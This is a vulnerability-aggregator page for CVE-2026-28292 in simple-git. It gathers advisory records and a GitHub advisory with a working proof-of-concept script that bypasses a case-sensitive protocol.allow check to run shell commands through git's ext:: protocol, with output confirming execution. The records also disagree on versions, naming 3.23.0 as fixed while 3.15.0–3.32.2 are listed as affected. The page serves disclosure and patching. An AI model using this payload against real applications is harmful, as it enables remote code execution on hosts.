simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key that enables RCE
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-28292
Published`simple-git`, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.
- Source published
- 10 Mar 2026 18:34:21 UTC
- Source modified
- 15 Jul 2026 01:11:54 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
euvd · EUVD-2026-10790
Published`simple-git`, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Mar 10, 2026, 6:34:21 PM
dateUpdated: Jul 15, 2026, 1:11:54 AM
1 related source bulletins · separate from aliases
openSUSE-SU-2026:10327-1: heroic-games-launcher-2.20.1-3.1 on GA media
CVE-2026-28292
- Source published
- Mar 10, 2026, 6:34:21 PM (timezone not stated)
- Source modified
- Jul 15, 2026, 1:11:54 AM (timezone not stated)
- Saved here
- 13 Nov 2026 21:11:10 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvd · CVE-2026-28292
Published`simple-git`, an interface for running git commands in any node.js application, has an issue in versions 3.15.0 through 3.32.2 that allows an attacker to bypass two prior CVE fixes (CVE-2022-25860 and CVE-2022-25912) and achieve full remote code execution on the host machine. Version 3.23.0 contains an updated fix for the vulnerability.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Modified
Weakness classifications: CWE-78 · CWE-178 · CWE-76
Original publisher date fields
published: 2026-03-10T19:17:20.840
lastModified: 2026-07-15T02:19:13.933
1 source CPE criteria · context only
- cpe:2.3:a:simple-git_project:simple-git:*:*:*:*:*:node.js:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 10 Mar 2026 19:17:20 UTC
- Source modified
- 15 Jul 2026 02:19:13 UTC
- Saved here
- 25 Oct 2026 06:17:33 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
osv · GHSA-r275-fr43-pm7q
Published### Summary The `blockUnsafeOperationsPlugin` in `simple-git` fails to block git protocol override arguments when the config key is passed in uppercase or mixed case. An attacker who controls arguments passed to git operations can enable the `ext::` protocol by passing `-c PROTOCOL.ALLOW=always`, which executes an arbitrary OS command on the host machine. --- ### Details The `preventProtocolOverride` function in `simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts` (line 24) checks whether a `-c` argument configures `protocol.allow` using this regex: ```ts if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) { return; } ``` This regex is case-sensitive. Git treats config key names case-insensitively — it normalises them to lowercase internally. As a result, passing `PROTOCOL.ALLOW=always`, `Protocol.Allow=always`, or any mixed-case variant is not matched by the regex, the check returns without throwing, and git is spawned with the unsafe argument. **Verification that git normalises the key:** ```bash $ git -c PROTOCOL.ALLOW=always config --list | grep protocol protocol.allow=always ``` **The fix is a single character — add the `/i` flag:** ```ts // Before (vulnerable): if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) { // After (fixed): if (!/^\s*protocol(.[a-z]+)?.allow/i.test(next)) { ``` --- ## poc.js ```js /** * Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass * * CVE-2022-25912 was fixed in [email protected] by adding a regex check * that blocks `-c protocol.*.allow=always` from being passed to git commands. * The regex is case-sensitive. Git treats config key names case-insensitively. * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely. * * Affected : simple-git >= 3.15.0 (all versions with the fix applied) * Tested on: [email protected], Node.js v23.11.0, git 2.39.5 * Reporter : CodeAnt AI Security Research ([email protected]) */ const simpleGit = require('simple-git'); const fs = require('fs'); const SENTINEL = '/tmp/pwn-codeant'; // Clean up from any previous run try { fs.unlinkSync(SENTINEL); } catch (_) {} const git = simpleGit(); // ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ──────────────── // This is the exact PoC Snyk used to report CVE-2022-25912. // It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts. git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [ '-c', 'protocol.ext.allow=always', // lowercase — caught by regex ]).catch((e) => { console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created'); console.error(e); }); // ── Bypass — PROTOCOL.ALLOW=always (uppercase) ────────────────────────────── // The fix regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive. // Git normalises config key names to lowercase internally. // Uppercase variant passes the check; git enables ext:: and executes the command. git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [ '-c', 'PROTOCOL.ALLOW=always', // uppercase — NOT caught by regex ]).catch((e) => { console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created'); console.error(e); }); // ── Real-world scenario ────────────────────────────────────────────────────── // An application cloning a legitimate repository with user-controlled customArgs. // Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL. // The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates // but the injected argument enables ext:: and the real URL executes the command instead. // // Legitimate usage (what the app expects): // simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates', // '/tmp/codeant-quality-gates', userArgs) // // Attacker-controlled scenario (what actually runs when args are not sanitised): const LEGITIMATE_URL = 'https://github.com/CodeAnt-AI/codeant-quality-gates'; const CLONE_DEST = '/tmp/codeant-quality-gates'; const SENTINEL_RW = '/tmp/pwn-realworld'; try { fs.unlinkSync(SENTINEL_RW); } catch (_) {} const userArgs = ['-c', 'PROTOCOL.ALLOW=always']; const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2'; simpleGit().clone( attackerURL, // should have been LEGITIMATE_URL CLONE_DEST, userArgs ).catch(() => { console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:', fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created'); }); ``` --- ## Test Results ### Vector 1 — Original CVE-2022-25912 (`protocol.ext.allow=always`, lowercase) **Result: BLOCKED ✅** The original Snyk PoC payload using lowercase `protocol.ext.allow=always` is correctly intercepted by `preventProtocolOverride` before git is invoked. A `GitPluginError` is thrown immediately and the sentinel file is never created. **Output:** ``` ext:: executed:poc not created GitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9) at .../simple-git/dist/cjs/index.js:1266:40 at Array.forEach (<anonymous>) at Object.action (.../simple-git/dist/cjs/index.js:1264:12) at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36) at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) { task: { commands: [ 'clone', '-c', 'protocol.ext.allow=always', 'ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo' ], format: 'utf-8', parser: [Function: parser] }, plugin: 'unsafe' } ``` --- ### Vector 2 — Uppercase bypass (`PROTOCOL.ALLOW=always`) **Result: BYPASSED ⚠️ — RCE confirmed** The `preventProtocolOverride` regex `/^\s*protocol(.[a-z]+)?.allow/` is case-sensitive. `PROTOCOL.ALLOW=always` (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the `ext::` protocol. The injected shell command executes before git errors on the missing repository stream. **Output:** ``` ext:: executed: PWNED — /tmp/pwn-codeant created GitError: Cloning into '/tmp/example-new-repo-2'... fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. at Object.action (.../simple-git/dist/cjs/index.js:1440:25) at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) { task: { commands: [ 'clone', '-c', 'PROTOCOL.ALLOW=always', 'ext::sh -c touch% /tmp/pwn-codeant% >&2', '/tmp/example-new-repo-2' ], format: 'utf-8', parser: [Function: parser] } } ``` `/tmp/pwn-codeant` was created by the git subprocess — command execution confirmed. --- ### Vector 3 — Real-world scenario (target: `https://github.com/CodeAnt-AI/codeant-quality-gates`) **Result: BYPASSED ⚠️ — RCE confirmed** An application passes user-controlled `customArgs` to `simpleGit().clone()`. The attacker injects `PROTOCOL.ALLOW=always` and substitutes a malicious `ext::` URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables `ext::` and executes the payload before the application can detect the failure. **Output:** ``` real-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created ``` `/tmp/pwn-realworld` was created — arbitrary command execution in a realistic application context confirmed. --- ## Summary | # | Vector | Payload | Sentinel file | Result | |---|--------|---------|---------------|--------| | 1 | CVE-2022-25912 original | `protocol.ext.allow=always` (lowercase) | not created | Blocked ✅ | | 2 | Case-sensitivity bypass | `PROTOCOL.ALLOW=always` (uppercase) | `/tmp/pwn-codeant` created | **RCE ⚠️** | | 3 | Real-world app scenario | `PROTOCOL.ALLOW=always` + attacker URL | `/tmp/pwn-realworld` created | **RCE ⚠️** | The case-sensitive regex in `preventProtocolOverride` blocks `protocol.*.allow` but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix. `/tmp/pwned` is created by the git subprocess via the `ext::` protocol. All of the following bypass the check: | Argument passed via `-c` | Regex matches? | Git honours it? | |--------------------------|:--------------:|:---------------:| | `protocol.allow=always` | ✅ blocked | ✅ | | `PROTOCOL.ALLOW=always` | ❌ bypassed | ✅ | | `Protocol.Allow=always` | ❌ bypassed | ✅ | | `PROTOCOL.allow=always` | ❌ bypassed | ✅ | | `protocol.ALLOW=always` | ❌ bypassed | ✅ | --- ### Impact Any application that passes user-controlled values into the `customArgs` parameter of `clone()`, `fetch()`, `pull()`, `push()` or similar `simple-git` methods is vulnerable to arbitrary command execution on the host machine. The `ext::` git protocol executes an arbitrary binary as a remote helper. With `protocol.allow=always` enabled, an attacker can run any OS command as the process user — full read, write and execution access on the host.
- Source published
- 10 Mar 2026 18:38:56 UTC
- Source modified
- 10 Sep 2026 03:50:40 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Publisher rating · CRITICAL